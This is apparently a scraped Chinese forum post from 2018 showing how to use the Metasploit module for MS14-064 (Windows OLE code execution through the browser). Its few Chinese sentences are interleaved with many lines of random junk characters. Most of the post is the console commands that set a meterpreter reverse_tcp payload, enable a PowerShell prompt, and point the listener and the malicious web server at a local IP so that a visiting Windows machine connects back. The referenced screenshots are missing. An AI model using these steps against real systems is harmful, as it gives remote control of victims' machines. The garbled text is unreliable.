& t+ d; H E3 v2 S0 I; A3 Z
我发现msf下的exp只能针对带有powershell的机器进行攻击，我们用如下方法来搞演示- Z' |& r; X- p c5 K6 w
8 c& |( @( ?# A, x+ y
: S; v$ D' Z7 J; {4 T. w/ s& c
开启msf执行命令use exploits/windows/browser/ms14_064_ole_code_execution如图：
X# u. n2 u, a4 F2 i# R! J
7 H5 s& ]0 ~- j @, j/ B' l& H+ T+ n9 S3 k. P
然后执行命令 set PAYLOAD windows/meterpreter/reverse_tcp& {8 U1 d3 H; w# [
) R" O8 P; Q4 H/ ~6 z& V1 `
- e' Y. v7 W4 \1 f set AllowPowershellPrompt true
, h1 h& X0 q9 ^
# ~* {0 E* j0 t4 j
# A @4 v1 @& m& o+ @ Set LHOST 192.168.0.109) W7 i( g& S/ O, J
2 p% V: x) Q4 x, R( Z( t5 ?- c! a
3 f' B) ?" Y5 e7 F- G- f set SRVHOST 192.168.0.109/ h- Q5 n p5 C$ u9 f* ~ S/ c
: y6 d, I, O1 t) O' a
! g1 n# l5 e2 b; R5 b/ s Set uripath share
7 r% U) ]6 \8 S+ O. D+ V' R7 |
& G* i6 b* y8 {1 \* t% ]" c9 R
* F/ `! f& {5 d t# c' U' q( z Set srvport 80
5 _6 u, t6 J2 D+ f
/ y4 Z' M5 K6 _+ a9 g) U) m, `: @
4 E1 g. t* }# c0 g: U 
. H/ [* H K% `; J
6 b) K9 Y# Q7 A* f4 |6 J6 L; x1 Z5 L; |3 Y. X
+ L2 V5 \ M8 p( e3 l% x: A
% O( c4 D4 q u. k2 D1 w0 g* W9 q% i. y6 [% F. ]
' J5 K b9 [( ` X3 T7 ]
$ [$ E0 Y) N# ~
j% m9 f( y% ]0 y) Q9 [' I* g
: Y/ q$ R+ g1 C. K
2 F" F" g1 p% ^7 _
) Z3 }! s, h1 R- i* F ) w) ?/ Z& d) n% d- p
& K2 K3 R4 ^. i
% h8 ^# i/ a+ N' z$ e 下面我们来访问本地地址如图：3 S" m. u( }( x$ {
, j, g/ K/ b: H b" V* G
# l8 n# @$ j& [4 a" y$ O
, b6 J* ]8 s9 L; b/ p+ f- o2 J
5 d* Y s* }. z8 u, ~1 G2 `
+ k5 _- L4 N* X" C S4 d
+ _* |1 ~# Q& |0 [, M' K
6 v* E6 N, g ^3 h" I1 X0 @; c' I) c$ V7 H/ S, ^: k3 z3 U* b
6 J& M E$ a+ t. q) j+ }6 Z4 x
发表于 2018-10-20 20:20:35
收藏
支持
反对